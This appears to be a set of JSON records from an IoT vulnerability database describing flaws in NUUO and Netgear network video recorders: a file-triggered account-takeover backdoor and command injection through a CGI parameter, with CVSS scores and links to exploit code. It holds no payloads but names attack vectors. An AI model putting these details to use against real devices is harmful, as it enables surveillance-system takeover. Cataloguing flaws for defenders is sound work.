"url": "https://www.netgear.com/business/products/storage/readynas/readynas-surveillance.aspx"
},
{
"title": "NUUO NVRsolo",
"trust": 0.8,
"url": "http://www.nuuo.com/ProductNode.php?stid=0002\u0026node=13"
},
{
"title": "NUUO NVRmini 2",
"trust": 0.8,
"url": "http://www.nuuo.com/ProductNode.php?node=2"
},
{
"title": "The Register",
"trust": 0.2,
"url": "https://www.theregister.co.uk/2016/08/07/nuuo_netgear_surveillance_recorders_riddled_with_0days/"
}
],
"sources": [
{
"db": "VULMON",
"id": "CVE-2016-5676"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004490"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-285",
"trust": 1.1
},
{
"problemtype": "CWE-Other",
"trust": 0.8
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-94495"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004490"
},
{
"db": "NVD",
"id": "CVE-2016-5676"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 3.1,
"url": "http://www.kb.cert.org/vuls/id/856152"
},
{
"trust": 2.4,
"url": "http://www.securityfocus.com/bid/92318"
},
{
"trust": 1.6,
"url": "https://raw.githubusercontent.com/pedrib/poc/master/advisories/nuuo-nvr-vulns.txt"
},
{
"trust": 1.3,
"url": "https://www.exploit-db.com/exploits/40200/"
},
{
"trust": 0.9,
"url": "https://cwe.mitre.org/data/definitions/285.html"
},
{
"trust": 0.8,
"url": "http://www.nuuo.com/productnode.php?stid=0001\u0026node=2"
},
{
"trust": 0.8,
"url": "http://www.nuuo.com/productnode.php?stid=0002\u0026node=13"
},
{
"trust": 0.8,
"url": "http://www.nuuo.com/productnode.php?stid=0001\u0026node=14"
},
{
"trust": 0.8,
"url": "https://www.netgear.com/business/products/storage/readynas/readynas-surveillance.aspx"
},
{
"trust": 0.8,
"url": "https://cwe.mitre.org/data/definitions/20.html"
},
{
"trust": 0.8,
"url": "https://cwe.mitre.org/data/definitions/200.html"
},
{
"trust": 0.8,
"url": "https://cwe.mitre.org/data/definitions/798.html"
},
{
"trust": 0.8,
"url": "https://cwe.mitre.org/data/definitions/78.html"
},
{
"trust": 0.8,
"url": "https://cwe.mitre.org/data/definitions/121.html"
},
{
"trust": 0.8,
"url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2016-5676"
},
{
"trust": 0.8,
"url": "http://jvn.jp/vu/jvnvu97220922/index.html"
},
{
"trust": 0.8,
"url": "http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2016-5676"
},
{
"trust": 0.3,
"url": "http://www.netgear.com"
},
{
"trust": 0.3,
"url": "http://www.nuuo.com/"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov"
},
{
"trust": 0.1,
"url": "https://www.rapid7.com/db/modules/auxiliary/admin/http/nuuo_nvrmini_reset"
},
{
"trust": 0.1,
"url": "https://www.theregister.co.uk/2016/08/07/nuuo_netgear_surveillance_recorders_riddled_with_0days/"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5674"
},
{
"trust": 0.1,
"url": "https://www.cert.org/)"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5678"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5680"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5677"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5679"
},
{
"trust": 0.1,
"url": "http://www.agileinfosec.co.uk/)"
},
{
"trust": 0.1,
"url": "http://www.agileinfosec.co.uk/"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5676"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5675"
}
],
"sources": [
{
"db": "CERT/CC",
"id": "VU#856152"
},
{
"db": "CNVD",
"id": "CNVD-2016-06367"
},
{
"db": "VULHUB",
"id": "VHN-94495"
},
{
"db": "VULMON",
"id": "CVE-2016-5676"
},
{
"db": "BID",
"id": "92318"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004490"
},
{
"db": "PACKETSTORM",
"id": "138199"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-270"
},
{
"db": "NVD",
"id": "CVE-2016-5676"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "CERT/CC",
"id": "VU#856152"
},
{
"db": "CNVD",
"id": "CNVD-2016-06367"
},
{
"db": "VULHUB",
"id": "VHN-94495"
},
{
"db": "VULMON",
"id": "CVE-2016-5676"
},
{
"db": "BID",
"id": "92318"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004490"
},
{
"db": "PACKETSTORM",
"id": "138199"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-270"
},
{
"db": "NVD",
"id": "CVE-2016-5676"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2016-08-04T00:00:00",
"db": "CERT/CC",
"id": "VU#856152"
},
{
"date": "2016-08-16T00:00:00",
"db": "CNVD",
"id": "CNVD-2016-06367"
},
{
"date": "2016-08-31T00:00:00",
"db": "VULHUB",
"id": "VHN-94495"
},
{
"date": "2016-08-31T00:00:00",
"db": "VULMON",
"id": "CVE-2016-5676"
},
{
"date": "2016-08-04T00:00:00",
"db": "BID",
"id": "92318"
},
{
"date": "2016-09-01T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2016-004490"
},
{
"date": "2016-08-04T22:22:21",
"db": "PACKETSTORM",
"id": "138199"
},
{
"date": "2016-08-12T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201608-270"
},
{
"date": "2016-08-31T15:59:02.657000",
"db": "NVD",
"id": "CVE-2016-5676"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2016-08-05T00:00:00",
"db": "CERT/CC",
"id": "VU#856152"
},
{
"date": "2016-08-16T00:00:00",
"db": "CNVD",
"id": "CNVD-2016-06367"
},
{
"date": "2017-09-03T00:00:00",
"db": "VULHUB",
"id": "VHN-94495"
},
{
"date": "2017-09-03T00:00:00",
"db": "VULMON",
"id": "CVE-2016-5676"
},
{
"date": "2016-08-04T00:00:00",
"db": "BID",
"id": "92318"
},
{
"date": "2016-09-01T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2016-004490"
},
{
"date": "2016-09-01T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201608-270"
},
{
"date": "2024-11-21T02:54:48.313000",
"db": "NVD",
"id": "CVE-2016-5676"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "PACKETSTORM",
"id": "138199"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-270"
}
],
"trust": 0.7
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "NUUO and Netgear Network Video Recorder (NVR) products web interfaces contain multiple vulnerabilities",
"sources": [
{
"db": "CERT/CC",
"id": "VU#856152"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "lack of information",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201608-270"
}
],
"trust": 0.6
}
}
var-201809-0281
Vulnerability from variot
NUUO's NVRMini2 3.8.0 and below contains a backdoor that would allow an unauthenticated remote attacker to take over user accounts if the file /tmp/moses exists. NUUO NVRMini2 Contains vulnerabilities related to security features.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. NUUO is one of the monitoring solution providers, and NUUO NVRMini 2 is a NAS-enabled NVR solution. There is a backdoor vulnerability in NUUO NVRMini2. When the target device file system has a specific file /tmp/moses/, the backdoor will be opened, and any unauthorized user can obtain the user list of the non-admin user and change the password by using the API to implement the takeover of the NVR device. An attacker can exploit these issues to execute arbitrary code in the context of the affected application. Failed exploit attempts may result in a denial-of-service condition. NVRmini2 and NVRsolo 3.8.0 and prior are vulnerable. NUUO NVRmini 2 is a video storage management device produced by American NUUO company. There is a security vulnerability in NUUO NVRMini 2 3.8.0 and earlier versions, which is caused by the backdoor in the program
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201809-0281",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "nvrmini2",
"scope": "lte",
"trust": 1.0,
"vendor": "nuuo",
"version": "3.8.0"
},
{
"model": "nvrmini 2",
"scope": "lte",
"trust": 0.8,
"vendor": "nuuo",
"version": "3.8.0"
},
{
"model": "nvrmini2",
"scope": "eq",
"trust": 0.6,
"vendor": "nuuo",
"version": "03.07.0000.0011"
},
{
"model": "nvrmini2",
"scope": "eq",
"trust": 0.6,
"vendor": "nuuo",
"version": "03.08.0000.0005"
},
{
"model": "nvrmini2",
"scope": "eq",
"trust": 0.6,
"vendor": "nuuo",
"version": "3.8.0"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "3.8"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "3.0"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "2.0"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "1.0"
},
{
"model": "nvrmini",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "23.8"
},
{
"model": "nvrmini",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "23.0"
},
{
"model": "nvrmini",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "22.0"
},
{
"model": "nvrmini",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "21.7.5"
},
{
"model": "nvrsolo",
"scope": "ne",
"trust": 0.3,
"vendor": "nuuo",
"version": "3.9.1"
},
{
"model": "nvrmini",
"scope": "ne",
"trust": 0.3,
"vendor": "nuuo",
"version": "23.9.1"
},
{
"model": null,
"scope": "eq",
"trust": 0.2,
"vendor": "nvrmini2",
"version": "*"
}
],
"sources": [
{
"db": "IVD",
"id": "e2fb9480-39ab-11e9-9752-000c29342cb1"
},
{
"db": "CNVD",
"id": "CNVD-2018-19318"
},
{
"db": "BID",
"id": "105720"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-011478"
},
{
"db": "CNNVD",
"id": "CNNVD-201809-863"
},
{
"db": "NVD",
"id": "CVE-2018-1150"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/o:nuuo:nvrmini_2",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-011478"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Jacob Baines of Tenable",
"sources": [
{
"db": "BID",
"id": "105720"
}
],
"trust": 0.3
},
"cve": "CVE-2018-1150",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "CVE-2018-1150",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "HIGH",
"trust": 1.9,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "CNVD-2018-19318",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.6,
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "IVD",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "e2fb9480-39ab-11e9-9752-000c29342cb1",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.2,
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.9 [IVD]"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "VHN-121365",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "HIGH",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:N/C:P/I:P/A:P",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "LOW",
"baseScore": 7.3,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"exploitabilityScore": 3.9,
"id": "CVE-2018-1150",
"impactScore": 3.4,
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.8,
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2018-1150",
"trust": 1.0,
"value": "HIGH"
},
{
"author": "NVD",
"id": "CVE-2018-1150",
"trust": 0.8,
"value": "High"
},
{
"author": "CNVD",
"id": "CNVD-2018-19318",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "CNNVD",
"id": "CNNVD-201809-863",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "IVD",
"id": "e2fb9480-39ab-11e9-9752-000c29342cb1",
"trust": 0.2,
"value": "HIGH"
},
{
"author": "VULHUB",
"id": "VHN-121365",
"trust": 0.1,
"value": "HIGH"
},
{
"author": "VULMON",
"id": "CVE-2018-1150",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "IVD",
"id": "e2fb9480-39ab-11e9-9752-000c29342cb1"
},
{
"db": "CNVD",
"id": "CNVD-2018-19318"
},
{
"db": "VULHUB",
"id": "VHN-121365"
},
{
"db": "VULMON",
"id": "CVE-2018-1150"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-011478"
},
{
"db": "CNNVD",
"id": "CNNVD-201809-863"
},
{
"db": "NVD",
"id": "CVE-2018-1150"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "NUUO\u0027s NVRMini2 3.8.0 and below contains a backdoor that would allow an unauthenticated remote attacker to take over user accounts if the file /tmp/moses exists. NUUO NVRMini2 Contains vulnerabilities related to security features.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. NUUO is one of the monitoring solution providers, and NUUO NVRMini 2 is a NAS-enabled NVR solution. There is a backdoor vulnerability in NUUO NVRMini2. When the target device file system has a specific file /tmp/moses/, the backdoor will be opened, and any unauthorized user can obtain the user list of the non-admin user and change the password by using the API to implement the takeover of the NVR device. \nAn attacker can exploit these issues to execute arbitrary code in the context of the affected application. Failed exploit attempts may result in a denial-of-service condition. \nNVRmini2 and NVRsolo 3.8.0 and prior are vulnerable. NUUO NVRmini 2 is a video storage management device produced by American NUUO company. There is a security vulnerability in NUUO NVRMini 2 3.8.0 and earlier versions, which is caused by the backdoor in the program",
"sources": [
{
"db": "NVD",
"id": "CVE-2018-1150"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-011478"
},
{
"db": "CNVD",
"id": "CNVD-2018-19318"
},
{
"db": "BID",
"id": "105720"
},
{
"db": "IVD",
"id": "e2fb9480-39ab-11e9-9752-000c29342cb1"
},
{
"db": "VULHUB",
"id": "VHN-121365"
},
{
"db": "VULMON",
"id": "CVE-2018-1150"
}
],
"trust": 2.79
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2018-1150",
"trust": 3.7
},
{
"db": "TENABLE",
"id": "TRA-2018-25",
"trust": 2.4
},
{
"db": "BID",
"id": "105720",
"trust": 2.1
},
{
"db": "ICS CERT",
"id": "ICSA-18-284-01",
"trust": 1.2
},
{
"db": "CNNVD",
"id": "CNNVD-201809-863",
"trust": 0.9
},
{
"db": "CNVD",
"id": "CNVD-2018-19318",
"trust": 0.8
},
{
"db": "JVNDB",
"id": "JVNDB-2018-011478",
"trust": 0.8
},
{
"db": "IVD",
"id": "E2FB9480-39AB-11E9-9752-000C29342CB1",
"trust": 0.2
},
{
"db": "VULHUB",
"id": "VHN-121365",
"trust": 0.1
},
{
"db": "VULMON",
"id": "CVE-2018-1150",
"trust": 0.1
}
],
"sources": [
{
"db": "IVD",
"id": "e2fb9480-39ab-11e9-9752-000c29342cb1"
},
{
"db": "CNVD",
"id": "CNVD-2018-19318"
},
{
"db": "VULHUB",
"id": "VHN-121365"
},
{
"db": "VULMON",
"id": "CVE-2018-1150"
},
{
"db": "BID",
"id": "105720"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-011478"
},
{
"db": "CNNVD",
"id": "CNNVD-201809-863"
},
{
"db": "NVD",
"id": "CVE-2018-1150"
}
]
},
"id": "VAR-201809-0281",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "IVD",
"id": "e2fb9480-39ab-11e9-9752-000c29342cb1"
},
{
"db": "CNVD",
"id": "CNVD-2018-19318"
},
{
"db": "VULHUB",
"id": "VHN-121365"
}
],
"trust": 1.498015885
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"ICS"
],
"sub_category": null,
"trust": 0.8
}
],
"sources": [
{
"db": "IVD",
"id": "e2fb9480-39ab-11e9-9752-000c29342cb1"
},
{
"db": "CNVD",
"id": "CNVD-2018-19318"
}
]
},
"last_update_date": "2024-11-23T22:12:21.163000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "NUUO version 3.9.1 Release date_2018.09",
"trust": 0.8,
"url": "https://www.nuuo.com/backend/CKEdit/upload/files/NUUO_NVRsolo_v3_9_1_Release%20note.pdf"
},
{
"title": "NUUO NVRmini 2 Security vulnerabilities",
"trust": 0.6,
"url": "http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=84989"
},
{
"title": "Awesome CVE PoC",
"trust": 0.1,
"url": "https://github.com/lnick2023/nicenice "
},
{
"title": "Awesome CVE PoC",
"trust": 0.1,
"url": "https://github.com/xbl3/awesome-cve-poc_qazbnm456 "
},
{
"title": "Awesome CVE PoC",
"trust": 0.1,
"url": "https://github.com/qazbnm456/awesome-cve-poc "
}
],
"sources": [
{
"db": "VULMON",
"id": "CVE-2018-1150"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-011478"
},
{
"db": "CNNVD",
"id": "CNNVD-201809-863"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "NVD-CWE-noinfo",
"trust": 1.0
},
{
"problemtype": "CWE-254",
"trust": 0.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-121365"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-011478"
},
{
"db": "NVD",
"id": "CVE-2018-1150"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.4,
"url": "https://www.tenable.com/security/research/tra-2018-25"
},
{
"trust": 1.8,
"url": "http://www.securityfocus.com/bid/105720"
},
{
"trust": 1.8,
"url": "https://www.nuuo.com/backend/ckedit/upload/files/nuuo_nvrsolo_v3_9_1_release%20note.pdf"
},
{
"trust": 1.2,
"url": "https://ics-cert.us-cert.gov/advisories/icsa-18-284-01"
},
{
"trust": 0.8,
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-1150"
},
{
"trust": 0.8,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-1150"
},
{
"trust": 0.6,
"url": "https://github.com/tenable/poc/tree/master/nuuo/nvrmini2"
},
{
"trust": 0.3,
"url": "http://www.nuuo.com/"
},
{
"trust": 0.1,
"url": "https://cwe.mitre.org/data/definitions/.html"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov"
},
{
"trust": 0.1,
"url": "https://github.com/qazbnm456/awesome-cve-poc"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2018-19318"
},
{
"db": "VULHUB",
"id": "VHN-121365"
},
{
"db": "VULMON",
"id": "CVE-2018-1150"
},
{
"db": "BID",
"id": "105720"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-011478"
},
{
"db": "CNNVD",
"id": "CNNVD-201809-863"
},
{
"db": "NVD",
"id": "CVE-2018-1150"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "IVD",
"id": "e2fb9480-39ab-11e9-9752-000c29342cb1"
},
{
"db": "CNVD",
"id": "CNVD-2018-19318"
},
{
"db": "VULHUB",
"id": "VHN-121365"
},
{
"db": "VULMON",
"id": "CVE-2018-1150"
},
{
"db": "BID",
"id": "105720"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-011478"
},
{
"db": "CNNVD",
"id": "CNNVD-201809-863"
},
{
"db": "NVD",
"id": "CVE-2018-1150"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2018-09-19T00:00:00",
"db": "IVD",
"id": "e2fb9480-39ab-11e9-9752-000c29342cb1"
},
{
"date": "2018-09-19T00:00:00",
"db": "CNVD",
"id": "CNVD-2018-19318"
},
{
"date": "2018-09-19T00:00:00",
"db": "VULHUB",
"id": "VHN-121365"
},
{
"date": "2018-09-19T00:00:00",
"db": "VULMON",
"id": "CVE-2018-1150"
},
{
"date": "2018-10-11T00:00:00",
"db": "BID",
"id": "105720"
},
{
"date": "2019-01-15T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2018-011478"
},
{
"date": "2018-09-20T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201809-863"
},
{
"date": "2018-09-19T15:29:06.280000",
"db": "NVD",
"id": "CVE-2018-1150"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2018-09-19T00:00:00",
"db": "CNVD",
"id": "CNVD-2018-19318"
},
{
"date": "2019-10-03T00:00:00",
"db": "VULHUB",
"id": "VHN-121365"
},
{
"date": "2019-10-03T00:00:00",
"db": "VULMON",
"id": "CVE-2018-1150"
},
{
"date": "2018-10-11T00:00:00",
"db": "BID",
"id": "105720"
},
{
"date": "2019-01-15T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2018-011478"
},
{
"date": "2019-10-23T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201809-863"
},
{
"date": "2024-11-21T03:59:17.417000",
"db": "NVD",
"id": "CVE-2018-1150"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201809-863"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "NUUO NVRMini2 Vulnerabilities related to security functions",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-011478"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "lack of information",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201809-863"
}
],
"trust": 0.6
}
}
var-201608-0072
Vulnerability from variot
cgi-bin/cgi_main in NUUO NVRmini 2 1.7.6 through 3.0.0 and NETGEAR ReadyNAS Surveillance 1.1.2 allows remote authenticated users to execute arbitrary commands via shell metacharacters in the sn parameter to the transfer_license command. NUUO NVRmini 2, NVRsolo, Crystal, and Netgear ReadyNAS Surveillance products have web management interfaces containing multiple vulnerabilities that can be leveraged to gain complete control of affected devices. NUUONVRmini2 is a network video recorder from NUUO. NetGearReadyNASSurveillance is a comprehensive IP video surveillance solution that integrates video surveillance software, storage, switching and network management with NetGear. An operating system command injection vulnerability exists in the version of NUUONVRmini21.7.6 to 3.0.0 and the version of NetGearReadyNASSurveillance 1.1.2, which is caused by the program failing to properly validate user-submitted input. An attacker could exploit the vulnerability to execute arbitrary code by sending 